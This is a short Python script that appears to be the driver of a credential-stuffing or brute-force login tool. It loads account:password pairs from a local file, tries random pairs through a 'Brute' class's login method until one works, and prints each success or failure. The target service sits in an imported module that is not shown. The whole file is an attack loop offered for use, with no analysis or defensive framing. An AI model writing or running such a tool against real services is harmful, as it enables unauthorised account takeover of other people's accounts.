#!/usr/bin/env python3
from Main import Brute
from random import randint


A = Brute()
Accounts_reader = open("/Users/hades_x/Desktop/Python/Python_Spliders/Account_List",'r')
Accounts = Accounts_reader.readlines()
while True:    
    Account,Password = Accounts[randint(0,len(Accounts)-1)].strip("\n").split(":")
    Account = Account.strip(" ")
    Password = Password.strip(" ")
    if A.login(Account,Password):
        print("\033[1;32m[+]\033[0m Login "+Account+":"+Password+" Success")
        break
    else:
        print("\033[1;33m[-]\033[0m Login "+Account+":"+Password+" Failed")
